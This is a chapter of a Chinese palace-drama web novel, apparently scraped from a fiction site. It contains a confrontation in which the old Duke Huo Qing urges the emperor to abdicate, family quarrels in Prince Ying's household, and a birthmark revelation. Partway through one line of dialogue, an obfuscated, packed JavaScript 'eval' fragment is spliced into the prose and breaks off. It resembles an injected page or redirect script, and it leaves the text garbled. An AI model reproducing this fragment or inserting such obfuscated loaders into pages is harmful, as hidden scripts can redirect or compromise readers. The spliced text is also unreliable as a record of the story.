他们进书房落座,霍擎猜道:“那天,就是你对贵妃说‘后位、储位,朕都会给霍家,霍皇后都还容不下朕生母的娘家人吗?’那天,你很不情愿吧,是情况太严重,你必须给出安抚才能稳住太后和贵妃,但你内心是很不情愿的,对吗?” 嬴忱璧看着这位老穆国公,未予评置。 霍擎笑了:“所以,陛下看来还要老臣给您宽心吗?贵妃想让老臣给您宽宽心,您自己认为有必要吗?贵妃给您宽心必定不止一回了,晏霁之至少也有一回,有用吗? 你是不明白吗?你明白,你很清楚,你什么都明白,但你就是放不开,你就是要存着这个侥幸,所以,你认为你还要听我唠叨吗?” 嬴忱璧抿口茶,握着茶盅道:“此事,老国公不觉得确是霍家咄咄逼人了吗?” 霍擎呛:“你这么不情愿又何必还要选霍家?” 嬴忱璧放下茶盅,隐有争锋相对:“老国公又何必曲解朕的好意?” 霍擎嫌他真是不要脸的够了:“那么陛下看,你与昌隆侯谁更贪心?” 嬴忱璧怪下,险些没懂,古怪看霍擎,霍擎真想翻个白眼给他:“怎么,你还觉得把你跟他比较是在侮辱你吗,你还自觉你没有昌隆侯贪心是吧?” “朕比昌隆侯贪心?”嬴忱璧没想生气都要被气笑了,霍擎赞同:“当然了,你还自我感觉你很好是吧,人家就是想造个反做个皇帝,可你呢?”老人家嫌得真看不上他,嬴忱璧直被盯得火大:“朕怎么了?”然后就被喷:“你还没点数啊你?” “好!”嬴忱璧拍桌,不管是不是等着他的陷阱,他就跳了:“老国公就说说看朕怎么就比昌隆侯贪心了?你若不能说服朕,休怪朕申饬霍家。” 霍擎懒懒道:“昌隆侯想造反,这是他的追求。你想超越前人,想你治下的国家比你爹和祖宗们治下的国家都要强盛,这是你的追求。一样是追求,你总不能说他有追求就算他比你贪心吧,这只能算你俩都有个大目标,同意哇?” 嬴忱璧不想说话,霍擎看他这小样还不想搭理他呢:“你以为我非要你同意啊,做人的一个方面,你俩一样,然后呢,你能数的出来昌隆侯还有要贪什么吗?” 皇帝奇怪看向霍擎好像不能理解,霍擎道:“你有什么不能理解?我问你啊,你能数的出来昌隆侯除想造反之外还有想贪什么吗?没有了吧,你也数不出来了吧。 可你呢,你有多贪啊,你还想要家庭美满,想夫妻恩爱,若夫妻间没有情爱,你还想要有能满足你情爱的妾室,妻妾还要和睦,你还想要儿女们对你孝顺贴心亲密。 你对你早逝的生母都有要求,若生母还在,你还要求母慈子孝,生母早逝,你就把你这份寄望转移给生母的娘家,你对你养母以及养母的娘家都有要求。” 霍擎服了:“你想你的家庭是人人艳羡的家庭,你想要圆满,你就想要你划定的这些人全都要在你身边,他们还要和睦融洽。” 霍擎无奈叹息:“你自己看,你想要的圆满有多大,你是有多贪心,你能数得出来,还有谁比你更贪心吗?” 嬴忱璧被噎下又下意识反驳:“昌隆侯——” “昌隆侯哪里比你贪了?”霍擎手指敲着桌训:“做人有多少面,昌隆侯就贪权啊,他难道不是只贪权吗?你可是做人的方方面面几乎都要涵盖到,他能有你贪心吗?” 嬴忱璧被噎得直觉喊:“庄太妃——” 霍擎语气松松垮垮的:“人家也就求个权利啊。” 嬴忱璧咬牙:“芮尚书——” “还是就求个权柄啊。”霍擎摊手道:“不管芮老头想要什么,相位,后位,储位,哪怕他都有心想谋逆了,还是在权利的范围里面打转呀。 做人贪权再怎么贪也只有一面,做人不只一面,可他们除贪权之外还有贪图什么吗?没有了呀,可你呢,你做人方方面面都想要啊,你爹年轻的时候,老娘刻薄他媳妇和挚爱,他又可曾有强求些什么?没有啊,可你呢,还有谁比你贪心?” 嬴忱璧垂眸,心头怅然。 霍擎再一击:“比起对追求的坚定,你还不如庄太妃呢。” 闻言,嬴忱璧猛地抬头怒视,这几乎是他不假思索的反应,霍擎看在眼中,轻松击退:“庄太妃贪权,我们都能看出来她会为权利争到死,你呢? 你想要圆满,可你能让大家相信你会为你的圆满坚持到死吗?你不能,因为你本身就能半途而废放弃你所谓的圆满,当你想要的这份圆满妨碍到你的皇权时,你就会丢弃。故而,庄太妃有追求能让我们所有人都记住,而你?” 霍擎讽刺:“是不是,也就是,你是个皇帝,你应该会是个好皇帝?” 嬴忱璧靠在椅背里,自嘲:“朕就不配有圆满吗?” “按你对圆满的要求,你还是去修仙吧,那个实在一点。”霍擎建议。 “……” 嬴忱璧算是颓丧得都被他激起振奋了:“老国公实在不必这样寒酸朕。” “陛下呀,这世上能有你想要的圆满吗?”霍擎无奈而语重心长:“假设,就假设你和你媳妇情投意合,芮家也很好,咱都符合你的要求,你在长子出生的时候圆满了,可你这份圆满又能持续多久?你想要的圆满难道不是达到就想要永久吗? 可你能只要一个孩儿就够吗?你爹和你四叔的例还在眼前呢。就算你肯只要一个儿子,你能保证这孩儿就能担得起你的希冀吗?就算他能担得起,若他早夭了呢? 你能赌得起吗?独生子没了,媳妇又不能生了,你二十来年就媳妇一人,你是从宗室过继还是再纳妃妾来生,你才四十多岁,你能甘心传位给侄儿吗?” 嬴忱璧看他,霍擎若有关怀:“我已经给你最简单的情形了。” 苦涩踩着阳光在窗台洒落的节拍跳跃,嬴忱璧闭目,低头沉寂会儿,再抬头,自持道:“贵妃曾对朕言,她和霍家的心态,与她是清白的大家闺秀进宫没什么不同,我从来没想过你们为什么能这么坦然?此刻,朕确实想知道,为什么?” 你自个儿没长脑吗?霍擎心里腹诽,面上淡淡道:“那么陛下觉得,大公主姐弟闹着要跳树与佟振羽兄妹在大理寺衙门前想强压霍漓江有根本不同吗?” 嬴忱璧神情一紧,下意识的就不愿意深想:“他们姐弟,小的三岁,大的五岁多,最大都没有六岁,不过是被教唆,老国公实在言重了。” “老话说三岁看老,三岁,性情已经出来了。”霍擎问:“儿女们还得仰赖父亲时妄想强压父亲顺从他们是什么心性?你们兄弟谁敢,为什么你这几个娃都敢?” 嬴忱璧握拳:“是朕对儿女疼爱了些,老国公,孩子们确实还小,您言重了。” “陛下是只疼爱儿女、没有教导规矩吗?你的儿女知道要敬重父亲、他们和父亲之间是父亲做主吗?”霍擎探究道:“老臣只问,您有没有教过,他们懂不懂?” 嬴忱璧有点闷堵,别开眼。 霍擎老脸略带薄凉:“小孩怎么会不懂呢?小娃娃一出生就知道要吃奶了,因为饿了。你这三个娃为什么闹着要跳树,三五岁的小娃有什么不懂,和父亲有冲突之后,他们不就是想强压父亲依从他们吗,难道他们是不知道该遵从父亲吗?” 嬴忱璧再闭闭眼:“包括大皇子在内,朕和这几个孩儿就不能有个善果吗?” 霍擎仍然没有正面回应:“宜春县主,父母恩爱,兄弟姐妹一母同胞,家人和乐亲密,至少咱外人看来是这样,她的家庭很偏近陛下想要的圆满吧?” 嬴忱璧看看霍擎似有探究,注视过,皇帝认同。 霍擎喝杯茶,问:“那么陛下看来宜春县主的家庭还能圆满多久?” 嬴忱璧再打量过他后垂眸,眼中若有审视,斟酌道:“老国公,何意?” “萧家的教育有问题,你看不出来?”霍擎真是又想嫌他了,说个话那么累:“萧灼灼一个姑娘啊,萧家居然能放任她住到晏家。” “萧家想和晏家结亲嘛。”嬴忱璧理解:“何况英王都认同了。” “……” 霍擎手指点着茶盅壁让自己平静:“陛下怎么会这么想?” 嬴忱璧敏感道:“老国公不以为然?可若英王没有意向,作甚还要让宜春住?” 霍擎提醒:“是萧家自己愿意让宜春县主住晏家,晏家为什么要多事?” 嬴忱璧不能苟同:“可英王若是无意,为什么不阻拦,拦一下也不算多事吧?” 霍擎跟他耗道:“那么萧家为什么不能管住自家姑娘呢?” 嬴忱璧陈述的语气中透着反提醒的意味:“萧家有意向结亲啊。” “所以,陛下的脑瓜又撞上石头了?”霍擎不对他发火都觉得自己辛苦:“想结亲?正常人家想结亲是这么个结法,我老头都要被你长见识了,按你的意思,我家男娃看中你家的女娃就应该直接把你家姑娘睡了,然后谈,咱们两家结亲吧。” 嬴忱璧被噎得险些没戳到肺管还不能对呛,捏捏拳头忍住气闷,仍然坚持:“老国公,是朕措辞不当,但你也不能因此就否定说英王没有和萧家结亲的意愿。” “是你的心态与萧家相近,对自家人偏于放纵,更觉得别人都该按你们的意志来办。”霍擎站起来,微微佝偻着背看皇帝外孙,温和、郑重更有殷切:“你五个儿女都被你养废了,你若是不改变自己,你还能养出个什么样的后继之君来?” 嬴忱璧怒上心头勃然站起,可对上老人家的好意,他也明白霍擎这是为他好,克制道:“老国公妄言了,皇嗣们是有些顽皮,可毕竟还小,朕更没得放纵孩儿们不想儿女成才,何况是对储君,老国公委实不必忧心,切莫再草率妄言了。” 霍擎背脊又低些,像是无力得只能苦口婆心:“可若你自己都有很大缺陷,你还不觉得自己有不妥甚至自我感观很好,你还能培养得好后继之君吗?” 嬴忱璧都能猜到霍擎想说什么了,发笑问:“朕有什么很大缺陷?” “……” 霍擎懒得跟他演了,顺便想恭维他:你的自我感观真好。 “我问过了,晏霁之劝诫过你了,按照你的设想:霍家、芮家、郭氏,都要在你身边,当霍家与别家起冲突时你永远选压制霍家偏向别家,因为你的底线是要留霍家,所以能偏袒霍家以外的人家时就要偏袒些也好以示公正。晏霁之建议你:趁早自尽。 这是你在此期待下最好的出路了,你偏袒的人越来越不把你当回事,霍家忍多你的不公后必然要爆发,在你的高压下谁都不满意,谁都要憎恨你,恨到最后当然都巴不得你去死,你自尽总比死在你的宝贝疙瘩们手中不伤你的心啊。” 霍擎很好奇:“你都嫌活腻了,你为什么还不挖个坑把自己埋了呢?” 嬴忱璧冷下脸,冷厉相对:“是晏霁之在杞人忧天。” 霍擎没脾气很平和:“我霍家能不能退,你能不能让我霍家退掉?” 嬴忱璧好笑:“做后族,还有未来的储君——”就被霍擎怒气打断:“你别和我扯这些,你就告诉我,我霍家想在你手里退掉,你能不能让霍家退?” 对峙少倾,嬴忱璧拂袖转身:“霍皇后、储君的外祖家,霍家如何退?” 霍擎握住拐杖的龙头,挺直背脊,老眼洞明,是谈判的架势:“若是我告诉你,你想留霍家就只能留霍家一家,没有什么三家并存,你还要坚持吗?” “老国公,是晏霁之在杞人忧天。”嬴忱璧无奈:“他们能成得了什么事?” “我问你!”霍擎大发雷霆,暴怒咆哮:“按我的要求,你还要坚持吗?” 嬴忱璧定定注视过这位皇太后的父亲,收起好脸,沉声告诫:“老国丈年迈糊涂了,朕自然是会对霍家好,但朕如何行事不是你能僭越犯上的,切莫再犯了。” 霍擎想,这外孙到底是欠虐呢还是就爱犯贱:“你给你的人生行囊装了十个铁球,偏偏有九个你都是可以舍弃的,你完全能一开始就丢掉多余的九个,轻装上路,但你偏偏就是要精疲力尽时才肯把那些多余的丢掉,落个苟延残喘走完人生。 你可以轻松的活,这条人生路你可以走得很顺畅,但你就是不要,非要带着那些负重让自己越走越累,直到你站不起来、直到你奄奄一息实在带不动了,你才肯把那些负累丢掉,留给自己一个满目疮痍的自己,你是觉得非得这样才舒坦吗?” 嬴忱璧岂会感知不到这是为他着想才劝解他,也没有生气,只是……嬴忱璧疲惫低头,面对老人家再三犹豫,还是模棱两可道:“您就当各人心性不同吧。” 什么心性,霍擎懒得跟他绕:“你觉得不甘心?” “……” 嬴忱璧看看这位老穆国公,偏还是他眼神有些躲闪,再否认越心虚,豁出去道:“是!朕耗尽心血为什么就要是落个惨淡收场,为什么就是得不到呢?” 霍擎凉凉道:“那人家契丹也耗尽了心血,为什么还没有打进来呢?” “……”被噎得戳肺管的皇帝喊:“老国公!朕和你说正经的!” “谁不是和你说正经的?”霍擎好笑:“这世间是耗尽心血就能有回报吗?庄太妃,她没有耗尽心血吗,她为什么还没有得到?边境的将士没有耗尽心血吗,他们连命都付出了,就盼着战事能够快些结束,可战事为什么还没有结束啊?” 莫名的,嬴忱璧心里就咯噔下,霍擎向他迈进步,更似善意劝诫般追击:“你是君王,是想大展宏图的君王,你是想做一个雄主而非庸碌之君。 雄主,应该什么样的,我以为是气吞山河,至少不能是瞎钻牛角尖吧,可你这副德行还不是在瞎钻牛角尖吗?你有什么缺陷,你还真是自我感观好的要命啊。” 嬴忱璧定定心神,赔笑道:“老国公的教诲,朕会谨记,您放心。” 霍擎自然道:“好,那你就给我个准话,你几时能放掉你的圆满?” “是晏霁之在杞人忧天,乃至没把我当回事儿。”嬴忱璧沉寂下,诚挚道:“朕想老国公您应该明白啊,芮家和郭氏能成得了什么事,连小打小闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嬴忱璧不可思议的看向他,霍擎凛冽肃杀:“我用我霍家满门煊赫换你退位,若不够,我再去和晏家谈,新帝若是能给予我们两家活路,晏家自会与我共进退,我用当朝第一第二两大家族的势焰来换你退位奉立新皇,我女婿有何不能答应我?! 你当然是做皇帝的料,是你们兄弟中最适合做皇帝的,但你的缺陷也显著,看看,按你想的圆满养出来的儿女都是些什么玩意儿,你还能养出个什么样的后继之君来?你做皇帝,必定是以你嬴氏皇族的气运成就你一个人的盛世,你之后就要盛极而衰! 你六弟不是做皇帝的料,他做皇帝,他能把自己做成将军,但是他做皇帝,我们就是能相信他、他也能相信我们给我们一条活路,就是这份胸怀、气度能够让赢氏皇族稳得长久,你父皇还活着呢,为国祚绵长难道不该换了你,你不该退位让贤?” 霍擎像大尾巴狼诱哄:“陛下,为祖宗基业社稷绵长,退位,让贤给你六弟吧?” 嬴忱璧一瞬间惊悚,不由自主的僵硬,盯着霍擎,他竟不知作何反应。霍擎抬抬下巴:“我是有私心,我想求一条活路,但是你自己把把柄递到我面前,你能怨谁? 跟些空想计较不是非要没事找事吗?你在自说自话呢还是连敷衍我都懒得装,那天,你和贵妃吵得有多凶,你瞎了,你不是还都让霍秦川给你学狗叫了吗,他们成不了事,不还有你帮衬吗,人家一有想害死霍家的想法,你不就要帮衬着压制霍家吗? 你还连霍家想退都不让啊,霍家煊赫过了,将来想求个舒心,我们想退了,你都不让,你什么意思,你还没想把我霍家往死里逼? 念在我女儿和你母子一场,你不仁,我没有不义,我对你够厚道了吧,我没有对你耍阴招更没想隐忍几年后害死你扶幼主登基。”霍擎不由嗤笑:“嬴忱璧,你以为你能握住什么?我若是黑心,在你自以为圆满的时候你怕是怎么死的都不知道。” 嬴忱璧碰碰嘴皮,说:“朕,是想对霍家好的。” “我不相信你啊。”霍擎整一副欺负小孩子还要往人小孩伤口上撒撒盐的腔调:“就像,你非要抱着你的圆满不肯撒手,你有多坚持你的圆满,我就有多不相信你。” 看他可怜的小样,霍擎再落井下石:“要不然,你退位之后,我再帮你问问,为什么,为什么你耗尽心血就是落得个惨淡收场,为什么就是得不到呢?” 嬴忱璧终于聚起精气神,宽和道:“老国公魔怔了,朕会当做没听过——” “谁和你嬉皮笑脸!”霍擎高吼:“冠军侯,请圣人和老秦王出来!” 嬴忱璧再不可思议,只觉心头有道雷劈过让他四肢百骸都像是一时间失去知觉,转过头看见原牧炽和他父皇还有老秦王果真从密室中走出,嬴忱璧霎时脸发热,浑身发冷又发烫。原牧炽都有点烧,他就说霍海啸找他没好事,为什么要让他听见这种事啊? 对上老穆国公的视线,原牧炽一个激灵赶忙道:“老穆国公,你还是不要自说自话了,”话没说完被霍擎打断:“你敢相信原家在你这老哥手里能有活路?” 原牧炽犹若被屏息定住,霍擎就问:“若是只有你做了皇帝,原家才能有活路,而皇位就在你面前,唾手可得,你难道要往外推?”原牧炽感觉他血有点逆流。 太上皇道:“旌儿先走吧。” 原牧炽撒腿往外跑。 霍海啸跟他擦肩而过,回看眼,进屋送份奏疏,魏王府送来的。 魏王奏禀:郭皇后之母来魏王府搅得大皇子不得安宁,请陛下处置。 皇帝的回复是:送大理寺,拘押十天,十天之后,随建威侯府想什么时候去领人,倘若建威侯府一直没有去领,关到月底放她回郭家。 魏王府已经把人绑起来了,说来魏王都是因她才被迫早早从皇陵赶回来,原本魏王没想从皇陵那么早走,偏这郭太太唆使得大皇子非要闹着回宫,王妃实在快拦不住了只能派护卫把他喊回来,魏王回府后就把人给绑了。 都被褫夺诰命了还不安生,那两天牢算是白坐了。 皇帝的意思送到,魏王利落地派护卫把这位郭太太送去大理寺。 晏霁之来魏王府还撞见这位郭太太被送走,他进府,见到魏王,开门见山道:“霍桑柔待会儿遇险后你搭把手吧,救下人后带她去游湖,我和霍灵渠随后到。霍家出手,我挡不住皇帝要带贵妃回宫,你出面可以拖着皇帝逛过夜市再回宫。” 魏王问:“我为什么要答应你?” 晏霁之反问:“你为什么要拒绝我?” 行吧,魏王也没怎么磨蹭的就答应他了,晏霁之谢过告辞,魏王怀疑:“没别的事了,你不是有正事找我顺带说这么点事,是为这么点事专门来找我?” 晏霁之赞同,魏王褒奖他:“你厉害。” “我家门前有人在哭丧呢,咱都是想在皇陵安静祭拜都没个安生,你提早回来了,我们家没提早回,但一回家,哭丧的还在,我嫌晦气,出来透个气。” 魏王了然:“晏明潜是吧?” 晏霁之点头,再告辞往外走,刚来到魏王府外,原牧炽疾驰而来就要往晏霁之身上扑,晏霁之还算相信他,稳住了没躲避,原牧炽猛地扒住他刹住脚步,急喘道:“我跟你说,我就说霍海啸找我没好事,赶紧跟我走,我有事跟你说。” 他们来到宽阔的河堤畔,四下就他们俩人,原牧炽把事情告诉他,嫌燥热,还扯两片柳叶来扇扇:“你说这老穆国公什么意思,总不可能玩真的吧,但他要是只想吓吓皇帝,没得这么玩吧?这么搞,就算霍家当前顶得住,将来还能落好吗?” “能!”晏霁之神色略低沉,原牧炽不敢相信:“他这可是想逼皇帝退位。” “老穆国公是在给嬴忱璧宽心。”晏霁之气血涌上来近乎想飚脏话:“什么圆满,我算是看出来了,嬴忱璧纯粹就是闲的,霍家对他太好了,他就觉得什么都尽在他掌握。 他闲得难受,非要可着劲儿作妖。霍家敲打敲打他,你看他吧,看他还有没有什么闲情跟他的圆满要死要活,过三五个月,保管烟消云散。” 被惊诧的原牧炽丢掉柳叶跳过两步凑到晏霁之面前怀疑:“不至于吧?” 晏霁之坚信道:“至于,你看他好了,他纯粹就是闲的。” 原牧炽摸着下巴琢磨下:“他也真的能不记恨霍家?” 晏霁之呵呵:“他怕霍家真不要他了,对霍贵妃好还来不及呢。” 原牧炽:“……” 被新鲜到神奇的原小将军都有点小心翼翼的:“皇帝这是?” “欠虐!”晏霁之给两字,原牧炽默默补充:“也…犯贱吧?” 可不嘛,晏霁之真是都被气到了,嬴忱璧这么个德行,他怎么不坑死自己算了。 原牧炽求证:“所以这事儿我们不用当回事儿了吧?” 晏霁之揣测:“老穆国公应该也有一丝真。” “啊?”原牧炽道:“你别吓我。” “嬴忱璧,他对贵妃都能起疑,他一定能给我们活路吗?不是不想相信他,到底是生死攸关。你至少是我们的一条退路,虽然大家都不想走那一步,但是有,心里肯定会踏实些。”晏霁之中肯道:“若是咱们都走上悬崖了,总是你最能给我们保障吧。” 原牧炽糟心:“扶立幼主不是更好吗?” 晏霁之怼:“你还嫌我们在风口浪尖待得不够啊,我晏家想退想三十年了。” 原牧炽郁闷:“可我不耐烦处理国事,我做不了皇帝的。” 晏霁之没好气:“知道,你做皇帝,你能拉着霍海啸和嬴天漾天天跟你征战四方,我和原牧烈给你稳定后方处理朝政,我们全都得陪着你折腾。” 原牧炽略略有点蔫巴:“那我现在怎么办?” “去城郊跑马吧,跑个半天,把事情放脑后。”晏霁之说。 “可以?”原牧炽问,晏霁之确认:“可以。” “行,我走了。”语毕,原牧炽刚跑出步又返回来:“我家里?” “你回北境后和护国公面谈吧,过些天见原牧烈别提。”晏霁之着重道:“回北境谈。” “行!” 原牧炽眨眼间跑掉,晏霁之站定目送过他消失,抬脚去医馆。 142. 第142章 霍灵渠带妹妹和小祐出来玩,沿街看过许多热闹,都汇聚在医馆前了。 晏霁之到时,医馆前许多围观的路人,晏煦之、晏如瑰和晏琼勋都已经在了,晏明妧去英王府哭求,晏明潜受重伤生死难料,求父亲见明潜最后一面,他们就都过来了。 “这是下血本了啊。”晏煦之跟堂哥嘀咕,晏霁之怼他:“你的血本真轻。” 晏煦之被噎下,好脾气的不予计较:“他应该肯定不知道薛驸马出京办差了吧。” 晏霁之淡淡:“知道了也会做的。” 是了,所以晏煦之郁闷啊,这姐弟俩摆明要不重回英王府不罢休了。 晏琼勋靠近来让嫡兄千万加把劲儿啊,这两个多月来纠缠得没完没了,他都快烦死了,但晏明潜这回真是下血本了,这姐弟俩也真不嫌难看,被分出去了还要死缠着。 晏如瑰也看过去,他们当然都不想晏明潜回来。 医馆前,霍灵渠看见晏霁之,莫名想让小祐给她挡一挡,她悄悄看着。 滕王挤进人群,走入医馆,轻咳道:“告诉你们个事啊。” 晏家几位看向他,滕王再咳道:“房祯毅请媒人去佟家给佟妙兮提亲了。” 医馆众人&医馆前的看客们:“……” 晏煦之想捂脸:“王爷,你不要说得那么引人遐想好吧。” 滕王反驳:“我说的怎么就引人遐想了?” 废话!我们当你要说跟晏明潜姐弟俩或者我爹有关的,结果你说了什么,晏琼勋无语,这是怕不管晏明潜姐弟还是我们都太紧张,故意想让大家轻松一下吗? 英王晏墉到来,晏明妧苦涩凄哀地再止不住泪水,直扑向父亲抱着爹爹的衣袍哭,看得晏琼勋直想转头,伤重卧榻的晏明潜在妻裴氏的扶助下挣扎着想起来给父亲请安。 晏墉看过长女再看眼长子,复看向长女,没有动容:“明绾随婆家离京都快两个月了,你的儿女也早都跟着你婆婆离京了,明妧,你为什么还没有回婆家?” 晏明潜夫妻怔住,晏明妧似不懂地抬头看父亲,喊:“爹?” 晏煦之扯扯堂哥的衣袖,晏霁之嫌他,晏煦之反瞪:这惊喜你不喜欢吗? 英王晏墉将长女推开,绕过长女走向晏明潜。 晏如瑰和晏琼勋都看惊讶了,晏明妧难以置信的转头,看着父亲冷然撇开她,她下意识看向晏霁之,对上晏霁之看跳梁小丑的眼神,她打个冷颤心狂跳,不可能,父亲那么疼爱他们,不可能会真不要他们。 晏墉站在重伤的长子面前,是从未有过的冷漠:“明潜,你还想要什么,你三十多岁,你当家作主了,你已经是一家之主,难道还做不到自食其力吗?” “爹,孩儿——”晏明潜苍白着脸想跪下来,雪白内衣上染红的鲜血醒目。 “不论曾经多珍爱,一旦不要了,王爷绝不会再留情。”晏霁之配合地打断:“真可惜,你们姐弟做这么多年王爷最疼爱的儿女居然连这点都不懂父亲。” 晏明潜夫妻和晏明妧顷刻间有如遭遇雷击,晏煦之和两个堂弟眼神微妙,你这是早就胸有成竹了吗?但你是什么时候看出来的,我们怎么从来没有发现过? 隐在人群中的霍灵渠看着晏霁之,好似饮了酒一般脸微微发热,她转过视线,避着小祐和桑柔吃颗糖,晏霁之亲自做来给她的糖,这几颗糖,她就想吃独食了。 医馆内,英王晏墉怅然而决绝的声音在飘散:“父亲没什么能再给你的了,你若病殁,裴氏不够银两给你治丧,爹会让如瑰去帮嫂嫂和侄儿料理丧事,就这个。你若还想要多的,不必这样伤害自己,爹给不了你,今后,自己多保重吧。” 晏琼勋抓住晏如瑰的手臂,感觉心脏有点要跳出来。 裴氏潸然欲坠,苦的想笑。 晏明潜愣愣看着父亲,疼爱他三十年的父亲刚才对他说,不在意他的死活? “爹您在说些什么呀?”晏明妧扑向魔怔的父亲想让爹爹清醒,倏然对上父亲的狠厉,晏明妧心脏瑟缩下就感到阵害怕恐慌,晏墉横眉怒目:“三十年了! 晏家养育你们、照拂你们,三十年了,你们就只知从晏家索取吗,不能为晏家做什么,连不给晏家添麻烦都做不到吗?前些天宫中朱太妃指温献皇后的第三胎孩儿和四公主皆是被害而亡,温献皇后被耗尽心血亡故,闹得那么大,你们应该知道啊。 你们可曾想过为父近来是什么心情,有吗,但凡有那么一点点,你们怎么就能想在这个时候来闹?都三十多岁的人了,非得永远扒着晏家想把晏家吸干才够吗?” 晏墉杀气腾腾往外走,看客们自觉给英王让出条路。 晏煦之真想说,大伯真帅! 裴氏瘫软下来,眼神呆滞没有看丈夫一眼,晏明潜红着眼睛死死憋住泪,晏如瑰唏嘘,晏琼勋很想幸灾乐祸,站了出来:“大姐你够不够大哥的诊金呀,若不够,给世子说一声,世子肯定会照拂,咱都是亲姐弟亲兄弟,虽然分家了也不用那么见外。” 晏明妧抬头看向他,和着泪花笑起来,泪流满面,连回击都顾不了了。 医馆外,围观的人群渐散,霍灵渠把小祐给桑柔抱,叮嘱桑柔莫怕,霍漓江多交代重:“待会儿若侯瞻渥来找你,你尽管陪他耍耍,知道怎么演戏吧?” 霍桑柔点点头,这感觉怪怪的。 霍漓江让霍枫叶和霍雄鹰看顾好,带闺女走了。 霍雄鹰古怪:“小叔,二叔神神秘秘的到底要带三姐去哪儿呀,连去哪儿都不告诉我们。” 话落被推把,霍雄鹰奇怪看向这小叔,霍枫叶给他个眼神,霍雄鹰看去,看见侯瞻渥,忒无语。 要不要这么积极啊?! 旁观到的滕王都想摇摇头,冷不防撞见萧耿烨带着媳妇、妹妹和堂妹,真想问他,你带着怀孕的媳妇和这么跳脱的堂妹出门,你顾得过来吗? 萧灼灼觑觑他们,欲言又止,还是滕王说:“你想说什么就说呗。” “呃,那个,我……我就是想到侯瞻渥的媳妇不是霍桑柔嘛,这种情形应该也还有一种可能是可以让真的霍桑柔再嫁给侯瞻渥,保持这桩亲事不变吧?” “有啊,侯家想维系和霍家的姻亲就可以这么干。”滕王认同。 霍枫叶抱着娃走过来,笑道:“桑柔归家前多坎坷,侯瞻渥是升平大长公主的心头肉,哪怕侯瞻渥对之前那个假冒货不在意,升平大长公主又怎么能允许。” 萧灼灼看看霍枫叶,这话说得有够带刺了。 是啊,武襄侯府的名声多好啊,按你家这么好的名声,你家就不该在意霍桑柔回归霍家前的前尘往事嘛。滕王猜,武襄侯或许不在意,只要侯瞻渥自个儿愿意,但升平大长公主,他这位大姑母应该是这想法想都没想过。 霍舒窈往十几丈外瞥眼,侯瞻渥把人约过去了,霍雄鹰还陪着。 “侯瞻渥这回若能溜出京,侯家要鸡飞狗跳了吧,可我大哥都捉住他两回了,武襄侯夫妇就这么没有警惕吗,还是,就是在故意放纵?这是想打脸给谁看,霍家和他们侯家难道是有仇吗?侯瞻让跟我大哥二十多年兄弟居然也能一声不响。” 回应她的是一片沉默,小祐娃娃眨眨亮亮的眼睛看这些大人。 霍漓江带闺女和阿胜碰面,还没乘车前往密会之地,晏霁之冒出来,要同行,霍漓江直接赶他走,霍灵渠默默垂眸当事不关己,晏霁之不为所动定要同行,霍漓江懒得再多话了,阿胜拔出剑指向他,晏霁之便把挡箭牌拉过来挡在他前面。 “我肯定你不会伤害她,而我是会用挡箭牌的。”晏某人说。 “……” 被晏霁之当盾牌挡在身前的霍灵渠眼观鼻鼻观心仍然像事不关己,心里是有点抓狂了,特想抡拳打他。霍漓江被噎得不上不下,全没想过这混球还能干出这种事来,完全没防备:“你个混球你到底想怎样,跟你有什么关系啊你非要掺和?” 晏霁之惜字如金,霍漓江警告:“把我女儿放开,省得你受皮肉之苦。” “我既想同行还会在意受点皮肉伤吗?”晏霁之反威胁:“表哥尽管拿剑从背后刺我,我就看看在我倒地血流不止时,霍灵渠还怎么心安理得地跟你们走?” 霍灵渠有点激灵,阿胜握握剑柄,霍漓江头疼:“你还想用苦肉计啊你?” 晏霁之当然道:“我为什么不用苦肉计?” 霍漓江拍拍额头:“你个混球,你就不能积点德少管点闲事吗?” 晏霁之顺着杆子往上爬:“你可以把我当未来女婿看,这不就不是闲事了。” “……” 霍灵渠抓狂的抡拳打他,晏霁之把人圈在怀里,霍漓江都没眼看了,阿胜眼底发暗,在暗中关注的三人走出来,姬汜笑:“阿胜,既然拦不住,请客人一起吧。” “国师?”霍灵渠看见太上皇身边那位国师,惊讶了。 “这里没有国师,只有姬洵。”姬汜纠正,再介绍:“我叫姬汜,这是姬潮。” 诲仰道长姬洵没什么反应,面相看来很是沉默寡言的姬潮向霍灵渠颔首示意,霍灵渠来不及多想的问好。姬汜则迎着陌生人的打量饶有兴味:“晏虎是你曾祖父吧,三十五年前,我十八岁时见过你曾祖父,可惜了,咱们差一点就成亲戚了。” 晏霁之看看他,不语。 霍漓江黑黑脸:“你们仨就这么有闲情,到底想怎样,有事赶紧说事!” 姬汜转移注意转向霍漓江炮轰:“霍漓江,你过得很滋润嘛,有人把霍灵渠掳走十几年你居然都没发现,你这个爹怎么当的?你有种啊把我们全耍得团团转!” 冷静冷静!霍漓江冷静,硬是没吭声,霍灵渠讶异瞄瞄这位姬汜再瞅瞅她爹,晏霁之把怀里的人再护着些,国师道:“去别庄说话吧。” 霍漓江咬牙带着闺女和这个讨嫌的混球跟他们走。 皆乘车而行,两辆马车,霍漓江和女儿乘一辆,阿胜赶车,在前;晏霁之随国师和姬汜乘一辆,姬潮赶车,在后,大约两刻钟后来到密会地点。 进入这座荒僻的别庄,来到开阔的跑马场,霍灵渠被要求把左臂的衣袖翻起来,霍漓江挡在闺女面前就被训:“你脑子白长的,我们能伤害霍灵渠吗?” 霍漓江憋闷退让,把这个混球推过去,晏霁之环住霍灵渠,给她把衣袖翻起来。国师上前,打开瓶盖往霍灵渠手臂孔最穴下方位置倒药水,明耀的阳光下,倏然一阵刺目的金光,他们几乎看见一只火凤凰振翅欲飞,下刻又消弭于无形。 晏霁之神情怔怔,给她把衣袖翻下来。 霍漓江冲过去揪住姬洵发火:“你们耍什么把戏,你刚才对我女儿做什么了?” “爹爹,这是我的胎记,我和表哥就是用这个胎记相认,当时是用我的血来验,我的血滴上去也会印出来,我才知道我有这个胎记,表哥说,这是家族血脉的证据。”霍灵渠狐疑:“但是你们能不能告诉我,国师为什么会在这里?” 霍漓江兀然心酸,松开姬洵。 姬汜解答道:“阿胜全名嬴忱胜,他爹就是太微宫那位太上皇。” 霍灵渠:“……” 